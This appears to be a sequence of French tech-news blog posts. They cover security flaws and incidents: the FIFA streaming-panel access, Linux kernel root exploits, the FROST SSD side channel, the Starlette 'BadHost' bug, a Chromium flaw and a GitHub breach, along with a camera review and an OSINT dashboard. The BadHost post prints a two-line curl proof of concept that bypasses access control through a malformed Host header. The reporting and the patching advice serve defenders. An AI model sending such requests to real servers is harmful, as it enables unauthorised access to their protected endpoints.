Et le mieux, c'est que les deux bossent ensemble puisque c'est le grand-angle qui fait le boulot de détection : il repère le mouvement et envoie le téléobjectif se verrouiller dessus pour le suivre en temps réel. Tapo appelle ça le suivi intelligent synchronisé, moi j'appelle ça "la caméra qui te colle aux cul". Les deux capteurs crachent du vrai 4K (3840 x 2160), le grand-angle ouvre à 169° et le téléscopique à 66° avec un zoom x5 pour aller lire une plaque ou reconnaitre un visage au fond du jardin.

Pour l'installation, rien de sorcier comme d'hab avec Tapo. Le panneau solaire doit être orienté plein sud sinon il prend pas assez de lumière, et la caméra se fixe avec des vis. Y'a 9 vis et 9 chevilles dans la boîte, plus un gabarit autocollant pour percer droit. La recharge passe également par un port USB-C planqué sous une trappe étanche, et comme le câble entre le panneau et la caméra fait 3,6 mètres, vous pouvez vraiment placer le panneau looooiiin si la caméra est à l'ombre. Et surtout, les ports et les boitiers sont étanches (IP65), donc y'a pas de flotte qui rentre.

Côté énergie, y'a une batterie de 10000 mAh et un panneau solaire de 4,5 W donc il faut environ 90 minutes de soleil direct par jour pour tenir la journée, et jusqu'à 3 mois d'autonomie sur une charge si jamais le ciel fait la gueule. Avec les longues journées d'été et la canicule permanente qu'on se prend, zéro souci donc de ce côté.

Reste à voir cet hiver ce que ça donne, comme d'hab avec le solaire.

Petite différence quand même avec la C665G, ici, pas de 4G. C'est uniquement du WiFi bi-bande 2.4 et 5 GHz. Donc faut avoir du réseau là où vous la posez. C'est donc un peu moins polyvalent pour le fond du jardin, mais pour surveiller une maison, une cour ou une allée, le WiFi suffit largement et ça vous évitera de bloquer un forfait data pour ça.

Et pour le mode nuit, vous avez le choix : infrarouge classique en 850 nm pour le noir total, ou la vision nocturne couleur grâce aux projecteurs intégrés. Comme ça, plus besoin de deviner si c'est un chat noir ou un tout petit cambrioleur en sweat à capuche. La détection IA distingue également les personnes, les animaux et les véhicules, et ces fonctionnalités sont gratuites et sans abonnement, puisque tout est traité directement en local sur la caméra. Vous pouvez aussi définir des zones d'activité, genre surveiller l'allée mais ignorer la rue pour pas vous faire alerter à chaque voiture qui passe (puis de toute façon, c'est illégal de filmer la rue).

Pour le stockage, vous pouvez y glisser soit une carte microSD jusqu'à 512 Go en local, soit opter pour le cloud Tapo Care si vous préférez. Le mode capture 24/7 permet aussi à la caméra d'enregistrer en continu par petits intervalles pour ne pas vider la batterie, mais dès qu'elle détecte un truc qui gigote, elle passe en mode film complet. Y'a aussi l'audio bidirectionnel pour engueuler le livreur à distance, une sirène et des lumières d'alarme rouge et bleu pour faire fuir les curieux et le tout encaisse de -20°C à 45°C. Ah et j'oubliais, c'est compatible Alexa et Google Home, et tout est piloté depuis l'appli Tapo.

Pour les bidouilleurs, sachez que comme souvent sur les Tapo sur batterie, y'aura pas de flux RTSP à récupérer. C'est vraiment dommage et je comprends pas pourquoi les constructeurs n'en proposent pas d'office (ah oui, leur abonnement, c'est vrai...). Donc si vous vouliez la brancher à un Frigate ou à Motion sous Linux pour la gérer avec vos autres caméras, bah c'est mort. Par contre sur vos caméras qui exposent du RTSP, Cameradar reste très pratique pour tester si vos flux sont bien sécurisés, je vous invite à tester !

Bref, la C675D KIT, c'est la version "je veux tout voir et tout savoir" de la caméra solaire avec un vrai double objectif qui règle enfin ce défaut des caméras motorisées. Sans parler du panneau solaire qui vous évitera de tirer des câbles partout comme un électricien qui aurait bu trop de café.

Vous pouvez la trouver ici si ça vous tente !

Avis aux fans de foot parmi vous qui comptent regarder cette Coupe du Monde 2026, j'ai une bonne et une mauvaise nouvelle à vous annoncer ! Non, je déconne, je n'ai que des mauvaises nouvelles à vous annoncer !

La première, c'est qu'un chercheur en sécurité qui se fait appeler BobDaHacker s'est inscrit comme agent de joueurs sur la plateforme publique de la FIFA, et s'est retrouvé, quelques clics plus tard, à prendre possession des commandes de TOUS LES FLUX caméra de la Coupe du Monde ! Oui, tous ces flux en direct diffusés sur toutes les chaînes du monde.

La deuxième mauvaise nouvelle, c'est que la FIFA n'a jamais pris la peine de lui répondre parce que visiblement, elle s'en branle que quelqu'un hack ses flux vidéo.

Et le pire les amis, c'est que c'était super fastoche à faire....

Tout commence donc sur le site agents.fifa.org, un portail où n'importe qui peut demander une licence d'agent en uploadant une pièce d'identité. BobDaHacker s'execute et après 2 refus pour une photo de mauvaise qualité, une troisième tentative est alors validée, et hop, notre chercheur en sécurité se retrouve automatiquement ajouté à l'annuaire d'identités de la FIFA. Avec ce sésame, il peut alors accéder à la "Football Data Platform", puis au panneau de gestion du streaming.

A partir de là, l'appli Angular du service lui affiche un joli "access denied"... sauf que c'est du flan car, tenez vous bien, le contrôle d'accès fonctionne côté client. Ouais, ouais, c'est de la folie. En fait, les APIs derrière acceptent gentiment n'importe quelle requête authentifiée sans jamais vérifier votre rôle.

Et au moment où il ouvre l'outil de gestion du streaming, le gars hallucine !! Devant lui, il peut voir chaque match du Mondial 2026 avec ses 5 flux caméra : le programme principal, le flux tactique, la Camera1 et les deux caméras placées en hauteur derrière les buts. Pour chacun d'entre eux, il y a l'adresse d'envoi du flux vidéo (l'URL RTMP d'ingestion), le manifest de preview et la sortie HLS.

Alors histoire d'être sûr de ne pas halluciner, il colle un des liens dans VLC et le flux vidéo s'affiche en live !

Pour bien comprendre l'enjeu, cette diffusion du Mondial est gérée par HBS, qui couvre 104 matchs dans 16 villes réparties entre les États-Unis, le Canada et le Mexique, avec 45 caméras par match. Ce sont littéralement les images que des milliards de gens, vous compris (mais pas moi), allez regarder. Et tout cela se monnaye à prix fort avec les chaines de TV par exemple.

Ce bon vieux BobDaHacker aurait pu balancer un rick roll, une vidéo de fesses, ou un faux discours de Trump annonçant l'arrivée des extraterrestre en direct, sur toutes les chaînes télé de la planète. Ou même tout couper...

Mais il ne l'a pas fait parce que c'est un professionnel ! (Sans parler de la certitude de finir en zonzon ^^.)

En prime, il pouvait aussi modifier les statistiques diffusées en temps réel, lire les notes préparées des commentateurs, et fouiller dans les fichiers planqués dans un blob storage Azure, à savoir des rapports de transferts, des comparatifs de revenus, des stats des arbitres et des coachs, et un mystérieux Debbie.xlsx dont on ne connaitra jamais le contenu...

Je me demande quand même dans quelle mesure, les mafias de l'IPTV n'étaient pas déjà au courant de ce "bug"... On ne le saura jamais.

Mais pour BobDaHacker, c'est là que commence la vraie galère, celle qui dure toute la nuit, parce que prévenir la FIFA d'un truc pareil, ça devrait être simple et pourtant, ça ne l'est pas du tout.

Il balance son rapport à plus de 10 adresses email de la FIFA, et 5 lui reviennent en erreur. Il tente alors un WhatsApp au responsable Football Technology & Data de la boîte, mais sans succès. Il appelle ensuite les bureaux de Zurich, mais pas de bol c'est fermé. Même la ligne téléphonique réservée à la presse est fermée aussi. Il laisse alors un simple message vocal au centre de diffusion de Dallas.

Et finalement, c'est MediaKind, le prestataire technique du streaming, qui décroche en pleine nuit. Puis la CISA américaine, dont la hotline 24/7 l'accueille plutôt bien. Et enfin le FBI, qu'il contacte carrément sur Signal.

Évidemment, la FIFA a été informée en suivant la règle du responsible disclosure et tout a été patché très rapidement.

Mais bizarrement, à ce jour, la FIFA n'a jamais répondu. Pas un merci, pas même un "vu". Voilà, le gars aura sauvé la Coupe du Monde mais n'aura même pas le droit à 2 places offertes pour aller voir un match, ni même une tape sur l'épaule.

La blague, c'est qu'ils ont même oublié de le retirer de la liste de diffusion de la Football Data Platform, du coup, il reçoit encore aujourd'hui les documents officiels des matchs du Mondial 2026 dans sa boîte mail.

Toute une analyse a été postée sur le blog du chercheur et je vous invite à la lire, parce que c'est un cas d'école.

Bravo à BobDaHacker qui a sans doute évité gratuitement l'un des plus gros bad buzz de l'histoire du foot.

Oliver Sieber, un chercheur de chez Exodus Intelligence, vient de publier l'exploit complet d'une faille qui tient dans un seul caractère. C'est la CVE-2026-23111, planquée dans nf_tables, c'est à dire au bout du noyau Linux qui filtre les paquets réseau. Un bug discret donc, qui transforme un compte tout pourri, sans le moindre privilège, en compte root sur la machine... et qui vous fait sortir d'un conteneur au passage.

Le scénario, vous le connaissez si vous traînez ici depuis un moment. Un utilisateur qui dispose d'un compte sans droit particulier sur une machine Linux (y compris parce qu'il a exploité une autre faille avant, dans une appli web par exemple) lance l'exploit, et se retrouve avec les pleins pouvoirs. Pas de vecteur distant, rien à cliquer : c'est l'arme qu'on dégaine une fois le pied dans la porte. Que ce soit un shell avec des droits limités, un conteneur compromis, un compte de service... tout y passe et hop, root sur l'hôte !

Le bug lui-même, c'est ce qu'on appelle un use-after-free, c'est à dire que le noyau réutilise un bout de mémoire qu'il a déjà libéré, et forcément ça part en vrille. Exodus a titré son analyse complète "Off By !", un clin d'œil au classique off-by-one des développeurs, sauf qu'ici le coupable c'est un test inversé. Un caractère de trop, une condition qui dit l'inverse de ce qu'elle devrait, et voilà. Et le correctif, lui, tient en une seule ligne.

Le fameux caractère : le ! qui inversait le test dans nft_map_catchall_activate(). Le correctif le retire, et c'est tout (commit 8fdb05de).

La faille a d'ailleurs été reproduite deux fois, par deux équipes qui ne se sont pas concertées. Exodus l'a validé sur Debian Bookworm, Debian Trixie, Ubuntu 22.04 et 24.04. FuzzingLabs avait sorti sa propre version dès avril, par un chemin complètement différent, et l'avait fait tourner sur RHEL 10 juste avant le Pwn2Own de Berlin. Bref, ça marche, c'est bien documenté, et c'est public.

Mais le pire, c'est le calendrier de tout ce merdier puisque le patch a été mis à dispo le 5 février. Ensuite, y'a eu l'exploit de FuzzingLabs publié le 16 avril, suivi d'un write-up détaillé d'Exodus le 8 juin. Autrement dit, ça fait des mois que le correctif existe et des semaines que le code d'exploitation traîne dans la nature.

La seule chose qui vous sépare donc d'un compte root offert à n'importe qui, c'est d'avoir mis à jour ou pas.

Et cette faille s'ajoute à une sacrée série de failles root-local sur Linux ce printemps. Y'a eu Copy Fail , y'a eu Dirty Frag et sa variante Fragnesia ... à chaque fois le même refrain, un compte sans droit qui finit root sur une install standard. C'est devenu presque routinier, et Synacktiv pointe une raison plutôt pertinente en nous expliquant que c'est à cause (ou grâce ^^) aux outils d'IA qui décortiquent les patchs pour en sortir un exploit rapidos, qui marche direct avant même que la correction soit déployée partout.

Du coup, qu'est-ce que vous devez faire ?

Hé bien le plus simple d'abord, c'est de mettre à jour le noyau et vous rebootez. Ubuntu a corrigé 22.04, 24.04 et 25.10, Debian a patché Bookworm et Trixie (avec un backport en 6.1 pour Bullseye), et Red Hat, SUSE et Amazon Linux ont suivi. Comme la version corrigée exacte dépend de votre distrib, jetez donc un œil à l'advisory qui correspond à la vôtre.

Si vous gérez une machine où tournent des utilisateurs ou des workloads pas franchement de confiance, vous pouvez également couper le chemin d'attaque sans attendre le patch. La faille a besoin des user namespaces non privilégiés, un mécanisme qui laisse un process lambda se bricoler son propre bac à sable avec des droits root à l'intérieur.

Et nf_tables comme ces namespaces, sur la plupart des desktops et pas mal de serveurs, c'est actif par défaut, donc oui, sans le patch vous êtes probablement exposé.

Pour les désactiver, le plus universel c'est user.max_user_namespaces=0 : un sysctl -w user.max_user_namespaces=0 pour tout de suite, et la même ligne dans un fichier genre /etc/sysctl.d/99-userns.conf pour que ça tienne au reboot.

Ça marche sur toutes les distros mais c'est radical, ça coupe tous les user namespaces, même ceux de root. Sur Debian et les vieilles Ubuntu, t'as plus fin avec kernel.unprivileged_userns_clone=0 qui ne vise que les non-privilégiés. Et sur Ubuntu 24.04, bonne nouvelle, c'est déjà restreint par défaut via AppArmor. Attention quand même, ça peut casser des trucs qui s'appuient dessus, genre le bac à sable de Chrome ou Flatpak.

À faire en connaissance de cause, donc.

La parade en vrai : une fois les user namespaces non privilégiés coupés, un compte lambda qui tente d'en créer un (le prérequis de l'exploit) se fait jeter sur un "No space left on device".

Après la bonne nouvelle, c'est que d'après les chercheurs, aucune exploitation dans la nature pour cette faille précise n'a été constaté à ce jour. Après comme sa cousine Copy Fail, elle, a déjà atterri au catalogue des failles activement exploitées de la CISA, ne traînez pas trop. Bref, comme d'hab padpanik, vous mettez à jour, vous rebootez, et on n'en parle plus.

Source

• lien nᵒ 1 : Site de Rust Paris

Commentaires : voir le flux Atom ouvrir dans le navigateur

• lien nᵒ 1 : Démo live
• lien nᵒ 2 : Code source
• lien nᵒ 3 : Whitepaper FR

docker run -p 8080:8080 ghcr.io/pierroons/selfrecover:v0.1.1

Commentaires : voir le flux Atom ouvrir dans le navigateur

FROST, c'est le nom d'une nouvelle attaque qui transforme votre SSD en mouchard. Des chercheurs de l'université de Graz, avec Daniel Gruss au générique (un des cerveaux derrière Spectre et Meltdown), ont montré qu'un simple site web peut deviner quels autres sites et applis vous avez ouverts et cela juste en mesurant les micro-ralentissements de votre disque. Oui, je sais c'est geudin !

Le principe ?

Quand vous ouvrez la page piégée, elle crée discrètement un gros fichier sur votre disque via une API du navigateur baptisée OPFS ( Origin Private File System ), présente aujourd'hui dans tous les navigateurs modernes. C'est ce fichier qui sert de sonde.

Le JavaScript passe son temps à lire dedans et chronomètre chaque lecture au poil de cul et dès qu'une autre appli ou un autre onglet sollicite le SSD, ça crée un embouteillage minuscule sur le disque... que le code peut repérer sous forme de ralentissement.

Sauf que des variations de timing, ça reste du bruit illisible pour un humain. Du coup les chercheurs ont balancé toutes ces mesures dans un réseau de neurones (un CNN, le même genre de bidule qui reconnaît des choses sur des photos).

Entraîné sur des tonnes de traces, le modèle apprend alors la signature de chaque appli et de chaque site web et voilà comment à partir de ça, il devine ce que vous avez ouvert !

Sur un Mac, dans les tests présentés cette semaine, le truc retrouve le bon site parmi un top 50 dans près de 9 cas sur 10, et grimpe à plus de 95% pour reconnaître les applications ouvertes. Le tout sans la moindre action de votre part, à part avoir cliqué sur le lien. C'est totalement invisible.

Mais avant de débrancher votre PC, renvoyer votre box internet et vous lancer à temps complet dans la culture de chanvre, faut relativiser, car cette attaque a plusieurs limites... Le hic numéro un, c'est que le fichier-sonde doit être énorme, genre 1 Go ou plus, et un site qui se met à bouffer autant de place sur votre disque, ça se remarque vite. Le hic numéro deux, c'est que ce fichier doit être sur le même SSD que le navigateur sinon l'attaque est aveugle.

Les chercheurs ont fait tourner l'attaque complète sur un Mac M2, et démontré que la brique de base fonctionne aussi sous Linux (sans dérouler la classification complète), mais n'ont pas testé Windows. Et surtout, personne n'a encore vu FROST exploité dans la nature.

Perso, je trouve que cette attaque est trop bancale / incertaine pour faire du tracking de masse, en tout cas aujourd'hui...

Pensez donc à fermer les onglets dont vous ne vous servez plus comme ça, y'a moins d'activité à mesurer et pour les plus paranoïaques, vous pouvez toujours vous mettre à surveiller les fichiers OPFS créés par des sites web inconnus. Après comme tout repose sur du JavaScript, bloquer le JS sur les sites pas nets (avec un NoScript ou équivalent) ça coupe aussi l'attaque à la racine.

Les chercheurs proposent aussi aux éditeurs de navigateurs de plafonner la taille de ces fichiers OPFS. Ce serait dans la lignée de ce que fait par exemple Firefox avec le pistage, qui a récemment musclé son anti-fingerprinting .

Bref, pas de panique, personne ne fouille votre SSD en douce mais la technique reste intéressante. Les détails techniques complets sont dans le papier de recherche , qui sera présenté à la conférence DIMVA en juillet. Bonne lecture !

Source

Les chercheurs de X41 D-Sec viennent de divulguer une faille critique baptisée BadHost (CVE-2026-48710) dans Starlette, le framework Python qui sert de fondation à FastAPI, vLLM , LiteLLM et une grande partie des serveurs MCP basés sur FastAPI.

325 millions de téléchargements par semaine, et il suffit d'injecter un seul caractère dans le header HTTP "Host" pour contourner les contrôles d'accès path-based qui lisent "request.url.path" dont autant dire que beaucoup de déploiements d'agents IA en production tournent en ce moment avec une porte d'entrée très mal verrouillée.

Le proof of concept publié par OSTIF donne ceci :

curl -i -H 'Host: foo' http://target/admin # 403, bloqué
curl -i -H 'Host: foo?' http://target/admin # 200, ça passe !!

Et c'est tout ! Un simple point d'interrogation collé au Host header, et l'endpoint "/admin" qui jusqu'alors filtrait les non-authentifiés s'ouvre alors aussi facilement que le claque-merde de mes haters ^^.

Donc si votre infra utilise FastAPI, vLLM ou LiteLLM exposés directement en ASGI (uvicorn, hypercorn, granian) sans reverse proxy strict devant, vous pouvez tester votre exposition immédiatement grâce au scanner de BadHost développé par Nemesis et X41 D-Sec.

Niveau mécanique, Starlette reconstruit l'objet "request.url" en concaténant la valeur du header "Host" avec le path de la requête, puis re-parse le tout. Sauf que la valeur de "Host" n'est jamais validée donc si vous y injectez un "/", un "?" ou un "#", vous décalez la frontière entre path, query et fragment au moment du re-parse.

Du coup, le routeur Starlette dispatche sur le vrai path de la requête HTTP (donc votre endpoint sensible s'exécute bien), mais les middlewares qui lisent "request.url.path" voient simplement un path empoisonné qui ne correspond plus à rien d'interdit.

Donc le contrôle d'accès saute et le code derrière tourne quand même. On est sur un score CVSS de 7/10 et la boite de sécu Secwest estime même que cette note est largement sous-estimée... En gros c'est super grave !

Car la portée réelle ce sont surtout les serveurs MCP qui peuvent stocker ou manipuler des tokens et identifiants pour accéder aux ressources externes auxquelles les agents IA se connectent : bases de données, comptes mail, calendriers, S3, webhooks...etc

Bref, le genre de "coffre-fort" que vous ne voulez pas voir ouvert via un header HTTP à la con malformé. Markus Vervier de X41 D-Sec a même publié un petit échantillon de ce que leurs scanners ont déjà trouvé en production : Des bases de données d'essais cliniques chez des biopharmas, des données de vérification d'identité avec PII en temps réel, des accès SSH à des équipements industriels via bastion, des boites mails complètes en lecture/écriture, des listes de souscripteurs CMS, des topologies AWS complètes avec metric queries.

Bref, l'écosystème agents IA vient de passer en mode naturiste !

Pour régler ce problème, vous devez donc mettre à jour vers Starlette 1.0.1 ou supérieur, dans tous vos déploiements LLM qui l'intègrent... Et là c'est le bordel parce qu'il y en a partout : Dans les images Docker, les virtualenvs et les artefacts "vendorisés" un peu partout... Donc faut tout rebuilder.

Et si vous avez du code custom, l'OSTIF recommande aussi de remplacer request.url.path par request.scope["path"] partout où une décision de sécurité est prise.

En gros, lire la valeur non reconstruite est le "fix" qui survivra aux prochaines versions du bug, parce que croyez-moi, ça reviendra à coup sûr !

Maintenant, côté infra, X41 D-Sec et OSTIF indiquent que nginx, Apache httpd et Cloudflare rejettent le PoC par défaut, mais ça ne doit pas vous empêcher de vérifier votre config. Donc ne traitez votre reverse proxy comme une mitigation qu'après l'avoir testé explicitement avec le scanner Nemesis.

Au-delà du correctif technique, BadHost rappelle une mécanique qu'on a déjà vue avec la faille RCE de llama-cpp-python à savoir que la chaîne d'approvisionnement de l'IA ne tient que sur quelques mainteneurs bénévoles qui prennent des risques personnels énormes pour patcher proprement.

Kludex, le mainteneur de Starlette, est actuellement sous une avalanche de reports depuis des mois. L'audit qui a permis de trouver le bug a par ailleurs été financé par OSTIF et AWS et sans ça, BadHost serait encore probablement dans la nature pour un an voire plus avant d'être découvert plus naturellement.

Donc si votre boîte fait tourner du LLM en prod via FastAPI, vLLM ou LiteLLM, vous avez aujourd'hui 2 choses urgentes à faire : 1/ passer votre infra dans le scanner Nemesis, et 2/ envoyer un petit don à Kludex pour le soutenir !

Sources : Ars Technica , OSTIF

Vous supprimez une clé API Google qui a fuité , et l'interface vous confirme que c'est bien réglé, que la clé ne fonctionne plus. Alors vous commencez à vous détendre en vous disant que vous avez bien fait votre boulot.

BAH NAN !

Car vous ne le savez pas, mais cette clé va continuer de fonctionner encore durant 23 minutes. C'est en tout cas ce qu'ont mesuré les chercheurs d'Aikido Security en testant ce truc tout bête de révoquer une clé, puis de taper sur l'API en boucle pour voir quand ça s'arrêtait vraiment.

Et résultat des courses, une clé API classique survit en moyenne 16 minutes après sa suppression, et jusqu'à 23 minutes dans le pire des cas. Cela veut dire que pendant tout ce temps, un attaquant qui a récupéré votre clé peut continuer de l'utiliser peinard. Et vous n'avez aucun moyen de couper plus vite, ni même de savoir quand ça s'arrête pour de bon.

Ce sont les clés API de Schrödinger le bordel... Techniquement comme vous vous en doutez, c'est surtout une histoire de propagation car Google ne tue pas la clé d'un coup sur tous ses serveurs, mais l'info se diffuse petit à petit, et chaque serveur arrête de l'accepter à son rythme. Le souci, c'est que ce délai et largement suffisant par exemple pour vider un bucket pendant que vous pensez que le danger est écarté.

Le plus beau, c'est que Google sait parfaitement faire vite quand il veut puisque les clés de compte de service, elles, sont coupées en 5 secondes. et les clés Gemini récentes en 1 minute. Du coup, ces 16 minutes de moyenne sur les vieilles clés API n'ont rien d'une fatalité technique... c'est juste un choix ! Aikido a bien sûr remonté le problème, et Google a bizarrement classé le ticket en « won't fix », en expliquant que ce délai de propagation était une propriété connue du système, et pas une faille de sécurité.

Donc si vous gérez des clés Google en prod, partez du principe qu'une clé compromise reste exploitable une bonne demi-heure après sa révocation. Et surtout, mettez en place des plafonds de dépenses bien serrés sur votre projet parce que le vrai cauchemar, c'est moins l'accès que la facture qui débarque ensuite. On a déjà vu des devs se prendre des notes à cinq chiffres à cause d'une clé qui traîne, et des utilisateurs Google Cloud facturés par erreur .

Source : Aikido Security

Une faille planquée pendant 9 ans dans le noyau Linux, voilà ce que les chercheurs de Qualys viennent de déterrer. Son petit nom, c'est ssh-keysign-pwn ou DirtyDecrypt (CVE-2026-46333 pour les intimes), et elle permet à n'importe quel utilisateur local sans privilèges de passer root, de lire votre /etc/shadow et de piquer les clés SSH privées de votre serveur.

Et ce bug dormait là depuis novembre 2016, c'est-à-dire depuis la version 4.10 du kernel. Personne ne l'avait jamais vu et autant vous dire que 9 ans, en cybersécu, c'est une éternité !!

Le truc se cache dans une fonction au nom barbare, __ptrace_may_access(). En gros, quand un processus privilégié abandonne ses droits, y'a une micro-fenêtre, le temps d'un battement de cils, où il reste "accrochable" via ptrace. Vous combinez ça avec l'appel système pidfd_getfd() et hop, vous récupérez les fichiers ouverts d'un process root.

Et l'exploit disponible vise des binaires SUID que tout le monde a sur sa machine, genre ssh-keysign, chage, pkexec ou accounts-daemon.

Du coup, première chose à faire : vous mettez à jour, genre rapidos ! Linus Torvalds a poussé le correctif et si vous ne pouvez pas patcher tout de suite, faut taper la commande sysctl -w kernel.yama.ptrace_scope=2 qui a pour effet de refermer la porte en attendant.

Niveau distros, ça touche à peu près tout le monde, d'Ubuntu 14.04 jusqu'à la 26.04, en passant par Debian, Fedora et toute la famille Red Hat.

Et le plus gênant, c'est que ssh-keysign-pwn, c'est la 4e faille kernel en moins de trois semaines. On a eu CopyFail , Dirty Frag début mai, puis Fragnesia juste après, et maintenant celle-ci. Aïe aïe aïe ! Je commence à me lasser, sérieux ^^.

Le noyau Linux prend cher en ce moment et comme les exploits fonctionnels sont déjà publics, le compte à rebours est lancé pour tous ceux qui traînent !

Alors après tout le monde va vous parler des cybercriminels et des serveurs compromis, et c'est vrai, faut patcher. Mais pour moi, ce genre de faille, c'est aussi une clé qui sert aux bidouilleurs pour reprendre la main sur leur propre matériel. Votre routeur verrouillé, votre objet connecté que le fabricant a laissé tomber depuis quelques années, ce bon vieux NAS dont plus personne ne livre de firmware... une faille comme ça, c'est parfois le seul moyen de le faire revivre !

Bref, faites vos mises à jour. Et gardez en tête que ces mêmes failles qui font flipper les sysadmins, ce sont aussi celles qui redonnent vie au matos verrouillé qui n'avait pas d'autre avenir que de finir à la déchetterie.

Source

Bon, alors là, Google a fait encore trèèèès fort.

Mercredi matin, la firme de Mountain View a carrément publié sur son propre bug tracker Chromium le code d'exploitation d'une faille... qui n'est toujours pas corrigée ! Et pas une petite vulnérabilité oubliée dans un coin, hein, mais une vraie faille de la mort qui tue que la chercheuse indépendante Lyra Rebane leur avait remontée gentiment et en privé . Ça fait 29 mois (2 ans et demi, les matheux ^^) et elle attend toujours un patch !

Le truc vise la Browser Fetch API, un mécanisme qui permet à un site de télécharger de gros fichiers en arrière-plan, genre une longue vidéo. Sauf qu'en la détournant, le code ouvre un service worker qui reste actif en permanence. Du coup, un site malveillant que vous visitez peut glisser un bout de JavaScript qui transforme votre navigateur en relais, tout cela à votre insu.

Parfait donc pour devenir un proxy anonyme pour des inconnus, un nœud de botnet pour des attaques DDoS, ou se faire surveiller quand on surfe sur le net... Et le plus vicelard, c'est que la connexion se rouvre ou reste ouverte même après avoir redémarré le navigateur, voire la machine entière.

Côté victimes, on parle de Chrome, de Microsoft Edge et de quasiment tous les navigateurs basés sur Chromium. Et que vous soyez sur Windows, macOS ou Linux, le bug s'en moque royalement. Rebane a confirmé que Brave, Opera, Vivaldi et Arc sont vulnérables eux aussi.

Bien sûr, Firefox et Safari, eux, passent clairement au travers, parce qu'ils ne supportent pas ce fameux téléchargement en arrière-plan. Bref, encore une fois, ne pas suivre le troupeau de mouton team-Chromium, ça paye !! Si vous cherchiez une raison de plus de larguer Google , la voilà servie sur un plateau.

Perso, ce qui me sidère, c'est que la faille a été classée S1, le deuxième niveau de gravité le plus élevé chez Google et il ne s'est toujours rien passé 29 mois après. C'est ouf quand même... Le post sur le tracker Chromium a bien été supprimé mais on le trouve toujours sur quelques archives / miroirs...

Après l'impact de cette faille, reste quand même limité car elle ne franchit aucune frontière... par exemple, elle ne donne pas accès à vos mails ni au reste de votre ordinateur, mais juste à ce qu'un navigateur sait déjà faire (ce qui est déjà énorme !!). Mais elle pourrait permettre à des cybercriminels de se constituer une flotte de milliers, voire de millions de navigateurs détournés, et le jour où une autre faille tombe, vous avez déjà l'armée prête à dégainer !! La bombe est là, il manque juste la mèche en fait !

Et pour se protéger ?

Bah franchement, pas grand-chose à faire côté utilisateur tant qu'il n'y a pas de patch. Si vous voulez mon avis bancal, le seul signal visible que vous pouvez guetter, c'est un menu de téléchargement qui s'ouvre tout seul sans raison, donc méfiez-vous donc si ça arrive. Maintenant si le sujet vous angoisse vraiment, basculer sur un navigateur pour les adultes ^^, genre Firefox ou Safari règlera la question d'un coup !

Faut pas oublier que Google passe son temps à pointer du doigt les éditeurs trop lents à patcher, alors j'comprends vraiment pas comment ils ont pu merder à ce point.

Source

• lien nᵒ 1 : OpenBSD 7.9
• lien nᵒ 2 : guide d'installation

Commentaires : voir le flux Atom ouvrir dans le navigateur

Alors celle-là, elle est incroyable les copains !

Le piratage du jour vient d'être confirmé par la plateforme qui héberge une bonne moitié du code de la tech mondiale ! En effet, Github a subit un accès non autorisé à ses propres dépôts internes, à cause d'une extension VS Code piégée installée sur l'ordi d'un employé !

L'annonce officielle est tombée sur le compte X de l'entreprise à l'instant et c'est comme ça que je suis tombé dessus.

GitHub dit avoir détecté et maitrisé la compromission hier. L'extension VS Code malveillante a été retirée, le poste de travail isolé, et la rotation des secrets critiques est en cours. Côté impact, le message officiel c'est que "À l'heure actuelle, nous ne disposons d'aucune indication laissant supposer que les informations des clients stockées en dehors des référentiels internes de GitHub aient été compromises".

Du coup, nos repos perso, nos orgs, nos enterprises...etc, rien n'est normalement touché à ce stade, en tout cas selon ce que GitHub voit pour l'instant.

Le thread officiel de GitHub sur l'incident

Sauf que sur le darkweb, un acteur baptisé TeamPCP, repéré par le compte de threat intel Dark Web Informer, prétend détenir et vendre environ 4000 dépôts privés volés à GitHub. L'entreprise n'a pas publié de chiffre officiel mais a reconnu que la revendication était cohérente avec son enquête en cours, le rapport complet arrivera une fois bouclé.

Bref, à prendre au sérieux mais avec des pincettes le temps que ça se vérifie !

C'est vrai qu'en ce moment, on est dans une vague d'attaques supply chain qui ciblent les extensions VS Code , qui sont devenues un vrai vecteur d'attaque reconnu. Et tout le monde peut se faire piéger (même les ingés GitHub !).

Donc pour vous qui me lisez, la règle de base reste la même : Installez une extension VS Code uniquement si vous faites confiance à l'éditeur. En pratique, faut regarder le tag publisher verified, l'âge du compte, le nombre d'installs et la date de la dernière release, et surtout méfiez-vous des forks fraîchement republiés sous des noms qui ressemblent à un outil connu.

Pour suivre ça maintenant, le thread officiel et ses mises à jour sont sur le compte X de GitHub .

Les avions en vol, les cargos, les satellites espions, les zones de brouillage GPS... Imaginez tout ce bordel, à l'échelle de la planète, visible sur une seule carte sombre directement chez vous. Ce serait fou non ? Hé bien c'est ce que nous propose BigBodyCobain qui a sorti ShadowBroker , un tableau de bord OSINT gratuit et open source qui agrège plus de 60 flux de renseignement public, rafraîchis en continu.

Pour l'installer, un git clone, et on entre dans le dossier. Suffit ensuite de lancer un docker compose up (faut juste Docker, et ça tourne sous Linux, Mac ou Windows), vous ouvrez localhost:3000 et la carte se remplit toute seule ! Ça marche même sur un Raspberry Pi 5. C'est donc largement plus simple que la moitié des trucs que je vous présente ici en général.

Y'a qu'une seule clé API qui est vraiment obligatoire, c'est celle d'aisstream.io pour le trafic des bateaux, et c'est une inscription gratuite. Le reste tourne sans rien, sauf qu'une clé OpenSky (gratuite aussi) est chaudement recommandée pour une couverture aérienne correcte, + quelques couches secondaires qui acceptent leur propre clé pour avoir de la meilleure info.

L'interface principale de ShadowBroker : une carte du globe qui empile en temps réel avions, navires et satellites, chat MESH à gauche et fil Global Threat Intercept à droite

Pour ceux qui débarquent, l'OSINT c'est le renseignement à partir de sources ouvertes, c'est à dire toutes ces données déjà publiques que personne ne prend le temps d'aller croiser. Donc cet agrégateur ne pirate rien... il ramasse juste ce qui traîne déjà en accès libre.

Et là, vous vous demandez ce qu'il y a dedans en détails ?

Hé bien accrochez-vous parce qu'on y retrouve les avions civils via OpenSky, les militaires via adsb.lol, l'ADS-B étant le signal que tout avion crache en vol, avec Air Force One bien visible dès le décollage. Et les bateaux sont suivis en AIS, l'équivalent radio côté maritime.

Y'a aussi les satellites dont la trajectoire est calculée depuis leurs paramètres orbitaux, les séismes de l'USGS, les feux repérés par la NASA, les conflits agrégés depuis GDELT, la ligne de front ukrainienne via DeepState et même un tracker pour suivre les porte-avions américains (c'est une position estimée à partir de l'actu publique, et pas du temps réel).

Du coup ça va loin ! Les zones de brouillage GPS probable sont même déduites quand le signal de navigation des avions se dégrade et on y retrouve aussi plus de 11 000 caméras de circulation aussi, de Londres à Singapour en passant par les États-Unis et l'Espagne.

Le panneau Data Layers (séismes, satellites, brouillage GPS, lignes de front) ouvert sur une zone de conflit, avec le détail des reports terrain

